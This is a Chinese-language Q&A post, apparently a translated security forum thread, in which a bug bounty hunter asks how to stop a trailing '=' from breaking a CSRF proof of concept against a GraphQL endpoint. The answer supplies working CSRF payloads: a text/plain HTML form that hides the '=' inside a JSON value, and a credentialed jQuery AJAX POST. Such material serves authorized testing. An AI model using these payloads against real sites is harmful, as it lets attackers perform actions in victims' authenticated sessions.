GraphQL 端点上的 CSRF

信息安全 csrf api 终点
2021-08-25 06:02:40

我目前正在为一家使用 GRAPHQL 作为查询语言的公司提供漏洞赏金,并希望检查 CSRF 是否可行。在玩了burpsuite之后,我得出以下结论;

  • 公司在获取数据时不使用 csrf 令牌
  • Origin和Referer可以被删除,请求仍然有效

如果公司使用 JSON,我可以为 CSRF 生成 PoC,但是因为他们使用 GraphQL,我可以生成 CSRF PoC,原因如下:

  • 每次表单“Content-Type”设置为“text/plain”并且在我的输入表单中设置了每个数据时,都会在正文请求的末尾附加一个“=” ,如下所示:

    发布 /HTTPT/1.1

    --- 请求正文 ---

    [ {...} ] =

- 这个等号导致请求失败

无论如何我可以绕过这个吗?一直在寻找,但什么也没得到。先感谢您!

1个回答

有两种方法可以修复附加=标志:

  • 使用标准CSRF 有效负载并在 JSON 属性字符串上下文中form“隐藏”符号=
  • 使用 AJAX

您可以使用以下表单创建语法正确的 JSON POST 请求:

<html>  
<form action="https://example.com/graphql" method=post enctype="text/plain" >  
<input name='{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}' type='hidden'>  
<input type="submit">  
</form>  
</html> 

这将创建以下请求:

POST /graphql HTTP/1.1
Host: example.com

{"query": "[the query]","additional_parameter": "additional_value", "x":"=undefined"}

如果您有其他参数,某些应用程序可能会拒绝该请求。在这种情况下,您可以使用标准的 AJAX 请求:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script>
$.ajax({
    url: 'https://example.com/graphql', 
    type: 'POST',
   // contentType: "application/json; charset=utf-8", // we can't change the content type unless CORS allows it
    xhrFields: {
       withCredentials: true
    },
    crossDomain: true,
    headers: {
        //'Accept': 'application/json, text/*' // we can't change the accept header unless CORS allows it
    },
        data: '{"query": "[the query]","additional_parameter": "additional_value"}'
    ,
    success: function (result) {
        console.log(result);
    },
    error: function(result) {
        console.log(result);
    }
});
</script>

这将起作用,因为对于 POST 请求,不会发出预检请求。由于 SOP,您无法读出响应,但会发送请求。

由于非 JSON 内容类型标头,应用程序可能仍会拒绝该请求,您通常无法使用 AJAX 对其进行修改。可以在某些(较旧的)浏览器中使用 flash对其进行修改(通常是用于错误赏金的 oos),或者如果存在一些 CORS 配置错误。